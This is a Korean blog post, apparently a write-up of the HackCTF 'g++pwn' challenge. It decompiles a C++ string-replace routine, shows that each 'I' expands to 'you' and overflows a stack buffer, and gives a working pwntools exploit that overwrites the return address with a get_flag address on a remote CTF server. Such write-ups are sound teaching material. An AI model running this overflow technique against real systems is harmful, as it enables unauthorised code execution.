ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [hackctf] g++pwn 풀이
    hackctf 2021. 8. 12. 21:34

    1. 문제

    보호기법

    보호기법은 NX bit가 걸려있다.

     

    main 코드

    코드를 확인해보니 main함수에서는 vuln() 함수를 호출하고 끝난다.

     

    vuln 함수 코드

    vuln 함수 코드를 확인해보니 fgets 함수를 사용하여 사용자로부터 입력 받은 값을 s에 넣어주고 이를 input에 넣어준다.

    이후 replace 함수를 호출하고 마지막에 strcpy 함수를 사용해 v0를 s로 복사한 후 printf로 출력해준 뒤 종료한다.

     

    std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3)
    {
      int v4; // [esp+Ch] [ebp-4Ch]
      char v5[4]; // [esp+10h] [ebp-48h] BYREF
      char v6[7]; // [esp+14h] [ebp-44h] BYREF
      char v7; // [esp+1Bh] [ebp-3Dh] BYREF
      int v8; // [esp+1Ch] [ebp-3Ch]
      char v9[4]; // [esp+20h] [ebp-38h] BYREF
      int v10; // [esp+24h] [ebp-34h] BYREF
      int v11; // [esp+28h] [ebp-30h] BYREF
      char v12; // [esp+2Fh] [ebp-29h] BYREF
      int v13[2]; // [esp+30h] [ebp-28h] BYREF
      char v14[4]; // [esp+38h] [ebp-20h] BYREF
      int v15; // [esp+3Ch] [ebp-1Ch]
      char v16[4]; // [esp+40h] [ebp-18h] BYREF
      int v17; // [esp+44h] [ebp-14h] BYREF
      char v18[4]; // [esp+48h] [ebp-10h] BYREF
      char v19[8]; // [esp+4Ch] [ebp-Ch] BYREF
    
      while ( std::string::find(a2, a3, 0) != -1 )
      {
        std::allocator<char>::allocator(&v7);
        v8 = std::string::find(a2, a3, 0);
        std::string::begin((std::string *)v9);
        __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
        std::string::begin((std::string *)&v11);
        std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v11, v10, &v7);
        std::allocator<char>::~allocator(&v7);
        std::allocator<char>::allocator(&v12);
        std::string::end((std::string *)v13);
        v13[1] = std::string::length(a3);
        v15 = std::string::find(a2, a3, 0);
        std::string::begin((std::string *)v16);
        __gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14);
        __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17);
        std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v17, v13[0], &v12);
        std::allocator<char>::~allocator(&v12);
        std::operator+<char>((std::string *)v19);
        std::operator+<char>((std::string *)v18);
        std::string::operator=(a2, v18, v5, v4);
        std::string::~string(v18);
        std::string::~string(v19);
        std::string::~string(v5);
        std::string::~string(v6);
      }
      std::string::string(a1, a2);
      return a1;
    }

     위는 replace 함수의 코드이다.

     

    2.  풀이

    gpwn 실행

    문자를 아무리 길게 입력해도 fgets로 입력받기 때문에 정해진 길이 만큼만 입력되어 출력이 된다.

     

    breakpoint replace

    replace 함수를 실행해주는 지점에 breakpoint 걸고 확인해보니 첫 번째 인자에는 어떤 주소가 들어있고, 두 번째 인자는 사용자가 입력한 문자열이다. 그리고 세 번째에는 문자열 I, 네 번째에는 문자열 you가 들어있다.

     

    첫 번째 인자

    실행 결과를 확인해보니 첫 번째 인자에 사용자가 입력한 문자열의 주소가 들어간다.

     

    replace 함수

    replace 함수 코드를 확인해보니 사용자가 입력한 문자열에 replace 함수에 세 번째 인자로 들어간 I 문자열이 없을 때까지 while문을 계속 돌게된다.

     

    replace 실행 전
    replace 실행 후

    I 문자열을 입력한 후 replace 함수를 실행해보니 'I'가 'you'로 바뀐 것을 확인할 수 있었다. 이를 활용하여 return address를 덮어서 exploit을 하면 될 것으로 보인다.

     

    strcpy breakpoint

    strcpy 함수에 breakpoint 를 걸고 확인해보면 replace 함수를 통해 바뀐 문자열이 ebp - 0x3c에 들어가는 것을 알 수 있습니다. 'I' 를 보내면 'you' 로 바뀌게되는 점을 이용하여 return address를 덮을 수 있을 것으로 보입니다.

     

    Exploit code

    from pwn import *
    context.log_level='DEBUG'
    
    p = remote('ctf.j0n9hyun.xyz', 3011)
    #p = process('./gpwn')
    #gdb.attach(p)
    
    payload = ''
    payload += 'I' * 21
    payload += 'A'
    payload += p32(0x08048f0d) #get_flag 주소
    
    
    #p.recvuntil('Tell me something about yourself:')
    
    p.sendline(payload)
    
    p.interactive()

    위 Exploit 코드를 사용해서 성공적으로 플래그 값을 획득할 수 있었습니다.

     

    3.  몰랐던 내용

    ida로 디컴파일되는 c++ 코드가 함수의 인자도 이상하고 너무 복잡해서 동적 디버깅을 통해서 문제를 풀 수 있었다. c++ ida 코드를 더 많이 봐서 익숙해져야 할 것 같다. 그리고 코드 이해가 안될때는 동적 디버깅을 통해서 문제를 풀어나가면 된다는 점을 다시 깨닫게 되었다.

    'hackctf' 카테고리의 다른 글

    [hackctf] rtlcore 풀이  (0) 2021.09.08
    [hackctf] rtl_world  (0) 2021.08.09
    [hackctf] yes_or_no  (0) 2021.07.29
    [hackctf] rtc  (0) 2021.07.26

    댓글

Designed by Tistory.